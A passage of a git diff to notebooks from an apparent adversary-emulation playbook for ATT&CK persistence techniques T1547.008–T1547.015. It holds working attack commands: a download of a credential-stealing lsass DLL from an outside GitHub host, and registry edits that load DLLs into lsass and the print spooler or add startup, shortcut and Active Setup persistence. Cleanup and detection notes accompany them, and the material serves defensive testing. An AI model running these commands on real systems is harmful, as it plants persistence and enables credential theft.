DLL.\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: lsass_lib.dll must exist on disk at specified location (#{dll_path})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\lsass_lib.dll\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\n[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\nInvoke-WebRequest \"https://github.com/oxfemale/LogonCredentialsSteal/raw/53e74251f397ddeab2bd1348c3ff26d702cfd836/lsass_lib/x64/Release/lsass_lib.dll\" -UseBasicParsing -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\lsass_lib.dll\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "01f70590", + "id": "2d3950f2", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.008 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "08b5e9d2", + "id": "06ea6a1e", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\nNew-ItemProperty -Path HKLM:\\SYSTEM\\CurrentControlSet\\Services\\NTDS -Name LsaDbExtPt -Value \"$env:TEMP\\lsass_lib.dll\"\n```" + "```powershell\nNew-ItemProperty -Path HKLM:\\SYSTEM\\CurrentControlSet\\Services\\NTDS -Name LsaDbExtPt -Value \"PathToAtomicsFolder\\..\\ExternalPayloads\\lsass_lib.dll\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "6ddfb459", + "id": "b801cfa8", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.008 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "c6d7f0ca", + "id": "2a5a5d35", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-ItemProperty -Path \"HKLM:\\SYSTEM\\CurrentControlSet\\Services\\NTDS\" -Name \"LsaDbExtPt\" -ErrorAction Ignore | Out-Null\n```" }, { "cell_type": "code", "execution_count": null, - "id": "1fdb90cd", + "id": "ffaf7761", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.008 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "ddbd8fa4", + "id": "cc577943", "metadata": {}, "source": "## Detection\nWith LSA Protection enabled, monitor the event logs (Events 3033 and 3063) for failed attempts to load LSA plug-ins and drivers. (Citation: Microsoft LSA Protection Mar 2014) Also monitor DLL load operations in lsass.exe. (Citation: Microsoft DLL Security)\n\nUtilize the Sysinternals Autoruns/Autorunsc utility (Citation: TechNet Autoruns) to examine loaded drivers associated with the LSA. " } @@ -67,13 +67,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/privilege-escalation/T1547.009.ipynb b/playbook/tactics/privilege-escalation/T1547.009.ipynb index 0635e123..78e4252e 100644 --- a/playbook/tactics/privilege-escalation/T1547.009.ipynb +++ b/playbook/tactics/privilege-escalation/T1547.009.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "cb3f3197", + "id": "af64225b", "metadata": {}, "source": "# T1547.009 - Shortcut Modification\nAdversaries may create or modify shortcuts that can execute a program during system boot or user login. Shortcuts or symbolic links are used to reference other files or programs that will be opened or executed when the shortcut is clicked or executed by a system startup process.\n\nAdversaries may abuse shortcuts in the startup folder to execute their tools and achieve persistence.(Citation: Shortcut for Persistence ) Although often used as payloads in an infection chain (e.g. [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001)), adversaries may also create a new shortcut as a means of indirection, while also abusing [Masquerading](https://attack.mitre.org/techniques/T1036) to make the malicious shortcut appear as a legitimate program. Adversaries can also edit the target path or entirely replace an existing shortcut so their malware will be executed instead of the intended legitimate program.\n\nShortcuts can also be abused to establish persistence by implementing other methods. For example, LNK browser extensions may be modified (e.g. [Browser Extensions](https://attack.mitre.org/techniques/T1176)) to persistently launch malware." }, { "cell_type": "markdown", - "id": "cff824a2", + "id": "143928db", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "a9176a11", + "id": "b7ef97d1", "metadata": {}, "source": [ "### Atomic Test #1 - Shortcut Modification", @@ -27,28 +27,28 @@ { "cell_type": "code", "execution_count": null, - "id": "9c7123b5", + "id": "e84dd8de", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.009 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "f4c9fedc", + "id": "731dc97c", "metadata": {}, "source": "#### Cleanup: \n```cmd\ndel -f %temp%\\T1547.009_modified_shortcut.url >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "af19a64e", + "id": "047c976a", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.009 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "45802141", + "id": "ae3e43e3", "metadata": {}, "source": [ "### Atomic Test #2 - Create shortcut to cmd in startup folders", @@ -62,28 +62,28 @@ { "cell_type": "code", "execution_count": null, - "id": "d314f8c5", + "id": "304c3544", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.009 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "dbb1a19a", + "id": "ce48440f", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-Item \"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\T1547.009.lnk\" -ErrorAction Ignore\nRemove-Item \"$env:ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\T1547.009.lnk\" -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "1fdc614b", + "id": "c973d6ae", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.009 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "cfa3021b", + "id": "292a3241", "metadata": {}, "source": "## Detection\nSince a shortcut's target path likely will not change, modifications to shortcut files that do not correlate with known software changes, patches, removal, etc., may be suspicious. Analysis should attempt to relate shortcut file change or creation events to other potentially suspicious events based on known adversary behavior such as process launches of unknown executables that make network connections.\n\nMonitor for LNK files created with a Zone Identifier value greater than 1, which may indicate that the LNK file originated from outside of the network.(Citation: BSidesSLC 2020 - LNK Elastic)" } @@ -91,13 +91,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/privilege-escalation/T1547.010.ipynb b/playbook/tactics/privilege-escalation/T1547.010.ipynb index cfa2f818..1e9f9058 100644 --- a/playbook/tactics/privilege-escalation/T1547.010.ipynb +++ b/playbook/tactics/privilege-escalation/T1547.010.ipynb @@ -2,54 +2,54 @@ "cells": [ { "cell_type": "markdown", - "id": "0da3ecab", + "id": "dcfac9be", "metadata": {}, "source": "# T1547.010 - Port Monitors\nAdversaries may use port monitors to run an adversary supplied DLL during system boot for persistence or privilege escalation. A port monitor can be set through the AddMonitor API call to set a DLL to be loaded at startup.(Citation: AddMonitor) This DLL can be located in C:\\Windows\\System32 and will be loaded by the print spooler service, spoolsv.exe, on boot. The spoolsv.exe process also runs under SYSTEM level permissions.(Citation: Bloxham) Alternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors. \n\nThe Registry key contains entries for the following:\n\n* Local Port\n* Standard TCP/IP Port\n* USB Monitor\n* WSD Port\n\nAdversaries can use this technique to load malicious code at startup that will persist on system reboot and execute as SYSTEM." }, { "cell_type": "markdown", - "id": "3ec9375e", + "id": "c190e11f", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "678d6644", + "id": "b357090d", "metadata": {}, "source": [ "### Atomic Test #1 - Add Port Monitor persistence in Registry", - "Add key-value pair to a Windows Port Monitor registry. On the subsequent reboot dll will be execute under spoolsv with NT AUTHORITY/SYSTEM privilege.", + "Add key-value pair to a Windows Port Monitor registry. On the subsequent reboot DLL will be execute under spoolsv with NT AUTHORITY/SYSTEM privilege.", "**Supported Platforms:** windows", "\nElevation Required (e.g. root or admin)", "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\nreg add \"hklm\\system\\currentcontrolset\\control\\print\\monitors\\ART\" /v \"Atomic Red Team\" /d \"C:\\Path\\AtomicRedTeam.dll\" /t REG_SZ\n```" + "```command_prompt\nreg add \"hklm\\system\\currentcontrolset\\control\\print\\monitors\\AtomicRedTeam\" /v \"Driver\" /d \"$PathToAtomicsFolder\\T1547.010\\bin\\PortMonitor.dll\" /t REG_SZ /f\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "c0d97d41", + "id": "c128810e", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.010 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "f9e3d49b", + "id": "5a98c2e8", "metadata": {}, - "source": "#### Cleanup: \n```cmd\nreg delete \"hklm\\system\\currentcontrolset\\control\\print\\monitors\\ART\" /f >nul 2>&1\n```" + "source": "#### Cleanup: \n```cmd\nreg delete \"hklm\\system\\currentcontrolset\\control\\print\\monitors\\AtomicRedTeam\" /f >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "b1f0214b", + "id": "5fd49382", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.010 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "b6c4d85a", + "id": "e34e93cd", "metadata": {}, "source": "## Detection\nMonitor process API calls to AddMonitor.(Citation: AddMonitor) Monitor DLLs that are loaded by spoolsv.exe for DLLs that are abnormal. New DLLs written to the System32 directory that do not correlate with known good software or patching may be suspicious. \n\nMonitor Registry writes to HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors. Run the Autoruns utility, which checks for this Registry key as a persistence mechanism.(Citation: TechNet Autoruns)" } @@ -57,13 +57,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/privilege-escalation/T1547.011.ipynb b/playbook/tactics/privilege-escalation/T1547.011.ipynb deleted file mode 100644 index 1f4fc87b..00000000 --- a/playbook/tactics/privilege-escalation/T1547.011.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "72298eef", - "metadata": {}, - "source": "# T1547.011 - Plist Modification\nAdversaries can modify property list files (plist files) to execute their code as part of establishing persistence. Plist files are used by macOS applications to store properties and configuration settings for applications and services. Applications use information plist files, Info.plist, to tell the operating system how to handle the application at runtime using structured metadata in the form of keys and values. Plist files are formatted in XML and based on Apple's Core Foundation DTD and can be saved in text or binary format.(Citation: fileinfo plist file description) \n\nAdversaries can modify paths to executed binaries, add command line arguments, and insert key/pair values to plist files in auto-run locations which execute upon user logon or system startup. Through modifying plist files in these locations, adversaries can also execute a malicious dynamic library (dylib) by adding a dictionary containing the DYLD_INSERT_LIBRARIES key combined with a path to a malicious dylib under the EnvironmentVariables key in a plist file. Upon user logon, the plist is called for execution and the malicious dylib is executed within the process space. Persistence can also be achieved by modifying the LSEnvironment key in the application's Info.plist file.(Citation: wardle artofmalware volume1)" - }, - { - "cell_type": "markdown", - "id": "b62c91ed", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "0104afd0", - "metadata": {}, - "source": "## Detection\nMonitor for common command-line editors used to modify plist files located in auto-run locations, such as ~/LaunchAgents, ~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm, and an application's Info.plist. \n\nMonitor for plist file modification immediately followed by code execution from ~/Library/Scripts and ~/Library/Preferences. Also, monitor for significant changes to any path pointers in a modified plist.\n\nIdentify new services executed from plist modified in the previous user's session. " - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/privilege-escalation/T1547.012.ipynb b/playbook/tactics/privilege-escalation/T1547.012.ipynb index 8c907c87..2f708898 100644 --- a/playbook/tactics/privilege-escalation/T1547.012.ipynb +++ b/playbook/tactics/privilege-escalation/T1547.012.ipynb @@ -2,19 +2,54 @@ "cells": [ { "cell_type": "markdown", - "id": "d1bf6575", + "id": "ec2cafbd", "metadata": {}, - "source": "# T1547.012 - Print Processors\nAdversaries may abuse print processors to run malicious DLLs during system boot for persistence and/or privilege escalation. Print processors are DLLs that are loaded by the print spooler service, spoolsv.exe, during boot. \n\nAdversaries may abuse the print spooler service by adding print processors that load malicious DLLs at startup. A print processor can be installed through the AddPrintProcessor API call with an account that has SeLoadDriverPrivilege enabled. Alternatively, a print processor can be registered to the print spooler service by adding the HKLM\\SYSTEM\\\\[CurrentControlSet or ControlSet001]\\Control\\Print\\Environments\\\\[Windows architecture: e.g., Windows x64]\\Print Processors\\\\[user defined]\\Driver Registry key that points to the DLL. For the print processor to be correctly installed, it must be located in the system print-processor directory that can be found with the GetPrintProcessorDirectory API call.(Citation: Microsoft AddPrintProcessor May 2018) After the print processors are installed, the print spooler service, which starts during boot, must be restarted in order for them to run.(Citation: ESET PipeMon May 2020) The print spooler service runs under SYSTEM level permissions, therefore print processors installed by an adversary may run under elevated privileges." + "source": "# T1547.012 - Print Processors\nAdversaries may abuse print processors to run malicious DLLs during system boot for persistence and/or privilege escalation. Print processors are DLLs that are loaded by the print spooler service, `spoolsv.exe`, during boot.(Citation: Microsoft Intro Print Processors)\n\nAdversaries may abuse the print spooler service by adding print processors that load malicious DLLs at startup. A print processor can be installed through the AddPrintProcessor API call with an account that has SeLoadDriverPrivilege enabled. Alternatively, a print processor can be registered to the print spooler service by adding the HKLM\\SYSTEM\\\\[CurrentControlSet or ControlSet001]\\Control\\Print\\Environments\\\\[Windows architecture: e.g., Windows x64]\\Print Processors\\\\[user defined]\\Driver Registry key that points to the DLL.\n\nFor the malicious print processor to be correctly installed, the payload must be located in the dedicated system print-processor directory, that can be found with the GetPrintProcessorDirectory API call, or referenced via a relative path from this directory.(Citation: Microsoft AddPrintProcessor May 2018) After the print processors are installed, the print spooler service, which starts during boot, must be restarted in order for them to run.(Citation: ESET PipeMon May 2020)\n\nThe print spooler service runs under SYSTEM level permissions, therefore print processors installed by an adversary may run under elevated privileges." }, { "cell_type": "markdown", - "id": "4487af54", + "id": "1b49ede4", "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." + "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "742b590f", + "id": "28c04ed8", + "metadata": {}, + "source": [ + "### Atomic Test #1 - Print Processors", + "Establishes persistence by creating a new print processor registry key under HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Print\\Environments\\Windows x64\\Print Processors.\nThe new print processor will point to a DLL which will be loaded by the spooler service after a reboot. The DLL will then create the file AtomicTest.txt in C:\\Users\\Public\\ as validation that the test is successful.\n\nNote: The test assumes a x64 Windows operating system.\n\nThe payload source code is based on a blog post by stmxcsr: [https://stmxcsr.com/persistence/print-processor.html](https://stmxcsr.com/persistence/print-processor.html)\n", + "**Supported Platforms:** windows", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `powershell`\n", + "```powershell\nif( $(get-service -Name spooler).StartType -eq \"Disabled\") {Set-Service -Name \"spooler\" -StartupType Automatic}\nnet stop spooler\nCopy-Item \"$PathToAtomicsFolder\\T1547.012\\bin\\AtomicTest.dll\" C:\\Windows\\System32\\spool\\prtprocs\\x64\\AtomicTest.dll\nreg add \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Environments\\Windows x64\\Print Processors\\AtomicRedTeam\" /v \"Driver\" /d \"AtomicTest.dll\" /t REG_SZ /f\nnet start spooler\nif(0){\n Restart-Computer\n}\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "cbe55022", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1547.012 -TestNumbers 1" + }, + { + "cell_type": "markdown", + "id": "93edbf7a", + "metadata": {}, + "source": "#### Cleanup: \n```powershell\nnet stop spooler\nrm -force C:\\Windows\\System32\\spool\\prtprocs\\x64\\AtomicTest.dll -ErrorAction SilentlyContinue\nrm -force C:\\Users\\Public\\AtomicTest.txt -ErrorAction SilentlyContinue\nremove-item \"HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Print\\Environments\\Windows x64\\Print Processors\\AtomicRedTeam\" -Force -ErrorAction SilentlyContinue\nnet start spooler\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "c9113ffd", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1547.012 -TestNumbers 1 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "01f81ca4", "metadata": {}, "source": "## Detection\nMonitor process API calls to AddPrintProcessor and GetPrintProcessorDirectory. New print processor DLLs are written to the print processor directory. Also monitor Registry writes to HKLM\\SYSTEM\\ControlSet001\\Control\\Print\\Environments\\\\[Windows architecture]\\Print Processors\\\\[user defined]\\\\Driver or HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Environments\\\\[Windows architecture]\\Print Processors\\\\[user defined]\\Driver as they pertain to print processor installations.\n\nMonitor for abnormal DLLs that are loaded by spoolsv.exe. Print processors that do not correlate with known good software or patching may be suspicious." } @@ -22,13 +57,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/privilege-escalation/T1547.013.ipynb b/playbook/tactics/privilege-escalation/T1547.013.ipynb index 5a2dff11..1bffc0d2 100644 --- a/playbook/tactics/privilege-escalation/T1547.013.ipynb +++ b/playbook/tactics/privilege-escalation/T1547.013.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "be578190", + "id": "5973be94", "metadata": {}, - "source": "# T1547.013 - XDG Autostart Entries\nAdversaries may modify XDG autostart entries to execute programs or commands during system boot. Linux desktop environments that are XDG compliant implement functionality for XDG autostart entries. These entries will allow an application to automatically start during the startup of a desktop environment after user logon. By default, XDG autostart entries are stored within the /etc/xdg/autostart or ~/.config/autostart directories and have a .desktop file extension.(Citation: Free Desktop Application Autostart Feb 2006)\n\nWithin an XDG autostart entry file, the Type key specifies if the entry is an application (type 1), link (type 2) or directory (type 3). The Name key indicates an arbitrary name assigned by the creator and the Exec key indicates the application and command line arguments to execute.(Citation: Free Desktop Entry Keys)\n\nAdversaries may use XDG autostart entries to maintain persistence by executing malicious commands and payloads, such as remote access tools, during the startup of a desktop environment. Commands included in XDG autostart entries with execute after user logon in the context of the currently logged on user. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make XDG autostart entries look as if they are associated with legitimate programs." + "source": "# T1547.013 - XDG Autostart Entries\nAdversaries may add or modify XDG Autostart Entries to execute malicious programs or commands when a user\u2019s desktop environment is loaded at login. XDG Autostart entries are available for any XDG-compliant Linux system. XDG Autostart entries use Desktop Entry files (`.desktop`) to configure the user\u2019s desktop environment upon user login. These configuration files determine what applications launch upon user login, define associated applications to open specific file types, and define applications used to open removable media.(Citation: Free Desktop Application Autostart Feb 2006)(Citation: Free Desktop Entry Keys)\n\nAdversaries may abuse this feature to establish persistence by adding a path to a malicious binary or command to the `Exec` directive in the `.desktop` configuration file. When the user\u2019s desktop environment is loaded at user login, the `.desktop` files located in the XDG Autostart directories are automatically executed. System-wide Autostart entries are located in the `/etc/xdg/autostart` directory while the user entries are located in the `~/.config/autostart` directory.\n\nAdversaries may combine this technique with [Masquerading](https://attack.mitre.org/techniques/T1036) to blend malicious Autostart entries with legitimate programs.(Citation: Red Canary Netwire Linux 2022)" }, { "cell_type": "markdown", - "id": "0d93b784", + "id": "380f5799", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "fd9b3ef8", + "id": "42c62202", "metadata": {}, "source": "## Detection\nMalicious XDG autostart entries may be detected by auditing file creation and modification events within the /etc/xdg/autostart and ~/.config/autostart directories. Depending on individual configurations, defenders may need to query the environment variables $XDG_CONFIG_HOME or $XDG_CONFIG_DIRS to determine the paths of Autostart entries. Autostart entry files not associated with legitimate packages may be considered suspicious. Suspicious entries can also be identified by comparing entries to a trusted system baseline.\n \nSuspicious processes or scripts spawned in this manner will have a parent process of the desktop component implementing the XDG specification and will execute as the logged on user." } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/privilege-escalation/T1547.014.ipynb b/playbook/tactics/privilege-escalation/T1547.014.ipynb index 967aebca..c0ae5f9a 100644 --- a/playbook/tactics/privilege-escalation/T1547.014.ipynb +++ b/playbook/tactics/privilege-escalation/T1547.014.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "ed6eee1a", + "id": "2f4fc90c", "metadata": {}, "source": "# T1547.014 - Active Setup\nAdversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine. Active Setup is a Windows mechanism that is used to execute programs when a user logs in. The value stored in the Registry key will be executed after a user logs into the computer.(Citation: Klein Active Setup 2010) These programs will be executed under the context of the user and will have the account's associated permissions level.\n\nAdversaries may abuse Active Setup by creating a key under HKLM\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\ and setting a malicious value for StubPath. This value will serve as the program that will be executed when a user logs into the computer.(Citation: Mandiant Glyer APT 2010)(Citation: Citizenlab Packrat 2015)(Citation: FireEye CFR Watering Hole 2012)(Citation: SECURELIST Bright Star 2015)(Citation: paloalto Tropic Trooper 2016)\n\nAdversaries can abuse these components to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs." }, { "cell_type": "markdown", - "id": "c0b1bf77", + "id": "9c95b34b", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "478d1a62", + "id": "cdc6fc93", "metadata": {}, "source": [ "### Atomic Test #1 - HKLM - Add atomic_test key to launch executable as part of user setup", @@ -28,28 +28,28 @@ { "cell_type": "code", "execution_count": null, - "id": "1c9258e6", + "id": "2e0b16f9", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.014 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "d395e334", + "id": "53aa2d3b", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-Item \"HKLM:\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\atomic_test\" -Force -ErrorAction Ignore\nRemove-Item \"HKCU:\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\atomic_test\" -Force -ErrorAction Ignore```" }, { "cell_type": "code", "execution_count": null, - "id": "bbbf3d9a", + "id": "198dc8b3", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.014 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "8480dfeb", + "id": "e7c15b3e", "metadata": {}, "source": [ "### Atomic Test #2 - HKLM - Add malicious StubPath value to existing Active Setup Entry", @@ -63,28 +63,28 @@ { "cell_type": "code", "execution_count": null, - "id": "ea712ceb", + "id": "66f9c290", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.014 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "ee2b2494", + "id": "786f9064", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-ItemProperty \"HKLM:\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\{C9E9A340-D1F1-11D0-821E-444553540600}\" -Name \"StubPath\" -Force\nRemove-ItemProperty \"HKCU:\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\{C9E9A340-D1F1-11D0-821E-444553540600}\" -Name \"Version\" -Force```" }, { "cell_type": "code", "execution_count": null, - "id": "ecf2656b", + "id": "ef0d7c7f", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.014 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "74148e01", + "id": "ef960d09", "metadata": {}, "source": [ "### Atomic Test #3 - HKLM - re-execute 'Internet Explorer Core Fonts' StubPath payload by decreasing version number", @@ -98,14 +98,14 @@ { "cell_type": "code", "execution_count": null, - "id": "423b28bd", + "id": "a9a30d4f", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.014 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "48750f9a", + "id": "8054942e", "metadata": {}, "source": "## Detection\nMonitor Registry key additions and/or modifications to HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\.\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the Active Setup Registry locations and startup folders.(Citation: TechNet Autoruns) Suspicious program execution as startup programs may show up as outlier processes that have not been seen before when compared against historical data." } @@ -113,13 +113,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/privilege-escalation/T1547.015.ipynb b/playbook/tactics/privilege-escalation/T1547.015.ipynb index 07649c89..06fc502a 100644 --- a/playbook/tactics/privilege-escalation/T1547.015.ipynb +++ b/playbook/tactics/privilege-escalation/T1547.015.ipynb @@ -2,33 +2,33 @@ "cells": [ { "cell_type": "markdown", - "id": "bb596ed2", + "id": "efd9c839", "metadata": {}, "source": "# T1547.015 - Login Items\nAdversaries may add login items to execute upon user login to gain persistence or escalate privileges. Login items are applications, documents, folders, or server connections that are automatically launched when a user logs in.(Citation: Open Login Items Apple) Login items can be added via a shared file list or Service Management Framework.(Citation: Adding Login Items) Shared file list login items can be set using scripting languages such as [AppleScript](https://attack.mitre.org/techniques/T1059/002), whereas the Service Management Framework uses the API call SMLoginItemSetEnabled.\n\nLogin items installed using the Service Management Framework leverage launchd, are not visible in the System Preferences, and can only be removed by the application that created them.(Citation: Adding Login Items)(Citation: SMLoginItemSetEnabled Schroeder 2013) Login items created using a shared file list are visible in System Preferences, can hide the application when it launches, and are executed through LaunchServices, not launchd, to open applications, documents, or URLs without using Finder.(Citation: Launch Services Apple Developer) Users and applications use login items to configure their user environment to launch commonly used services or applications, such as email, chat, and music applications.\n\nAdversaries can utilize [AppleScript](https://attack.mitre.org/techniques/T1059/002) and [Native API](https://attack.mitre.org/techniques/T1106) calls to create a login item to spawn malicious executables.(Citation: ELC Running at startup) Prior to version 10.5 on macOS, adversaries can add login items by using [AppleScript](https://attack.mitre.org/techniques/T1059/002) to send an Apple events to the \u201cSystem Events\u201d process, which has an AppleScript dictionary for manipulating login items.(Citation: Login Items AE) Adversaries can use a command such as tell application \u201cSystem Events\u201d to make login item at end with properties /path/to/executable.(Citation: Startup Items Eclectic)(Citation: hexed osx.dok analysis 2019)(Citation: Add List Remove Login Items Apple Script) This command adds the path of the malicious executable to the login item file list located in ~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm.(Citation: Startup Items Eclectic) Adversaries can also use login items to launch executables that can be used to control the victim system remotely or as a means to gain privilege escalation by prompting for user credentials.(Citation: objsee mac malware 2017)(Citation: CheckPoint Dok)(Citation: objsee netwire backdoor 2019)" }, { "cell_type": "markdown", - "id": "caf458de", + "id": "2631b903", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "eb85adf6", + "id": "8d0d3e09", "metadata": {}, "source": "### Atomic Test #1 - Persistence by modifying Windows Terminal profile\nModify Windows Terminal settings.json file to gain persistence. [Twitter Post](https://twitter.com/nas_bench/status/1550836225652686848)\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Windows Terminal must be installed\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path ~\\AppData\\Local\\Microsoft\\WindowsApps\\Microsoft.WindowsTerminal_8wekyb3d8bbwe\\wt.exe) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\n$(rm ~\\AppData\\Local\\Packages\\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\\LocalState\\StoreEdgeFD\\installed.db -ErrorAction Ignore; Write-Output \"\"; $?) -and $(winget install --id=Microsoft.WindowsTerminal)\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "58070ab5", + "id": "8f010255", "metadata": {}, "outputs": [], "source": 